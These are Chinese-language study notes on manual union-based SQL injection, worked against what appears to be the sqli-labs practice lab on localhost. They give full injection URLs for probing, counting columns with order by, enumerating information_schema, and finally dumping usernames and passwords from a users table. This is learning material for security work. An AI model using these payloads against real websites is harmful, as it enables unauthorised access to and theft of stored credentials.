SQL注入学习笔记

从网页传入参数注入

这是SQL注入中最常见的方法,并且根据该注入原理有跟多SQL注入工具

同样,首先应测试是否存在注入漏洞,简单的:’ 或 and 1=1 and 1=2之类的SQL语句。

如果没有检测,直接运行SQL语句,说明有机会注入。

从参数注入,简单的测试方法是:

① http://www.xxx.com/index.php?id=2

② http://www.xxx.com/index.php?id=2' and 1=1

③ http://www.xxx.com/index.php?id=2' and 1=2

可以注入的表现:

① 正常显示(这是必然的,不然程序就有错)

② 正常显示,内容基本与①相同

③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

注入具体步骤示例:

步骤:

1 先判断是否有注入点 and 1=1 and 1=2

2 再判断字段数量 order by x 如果页面回显正常,则字段数为 order by 后面的数字  http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+

3 使用联合查询 union   

用 union 语句查看当前是哪几位有效

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+

4 根据有效位,更改这两位变量进行查询 

  1 select @@basedir 查询数据库安装路径

  2 select @@datadir 查询数据库所在目录

  3 select version() 查询数据库的版本

  4 select user() 查询当前数据库的使用用户

  5 select database() 当前使用数据库的名字

5 查看当前数据库里有哪些表

(补充:

  Mysql5.0以上版本手工注入

  Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库

  information_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema_name的字段值)

  information_schema.tables:存储mysql数据库下所有数据库的表名信息的表 (字段名为 table_name:表名

  条件为 table_schema:数据库名 )

  information_schema.columns:存储mysql数据库下所有数据库的列名信息的表 (字段名为column_name:的字段值))

6 根据查询到的有用信息表user,想查看其表中有哪些属性即列名。

例如:http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='users' and table_schema='security' limit 0,1--+

7 查看users表里面具体的用户信息。

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,username,password from users limit 0,1--+

基本步骤:

一、找到注入点;

二、判断当前表的字段;

三、用联合语句查看哪几位是有效位;

四、查看当前数据库中有哪些表;

五、查看表中有哪些属性;

六、查看表中具体的数据信息

原文地址:https://www.cnblogs.com/shadow-97z/p/9209130.html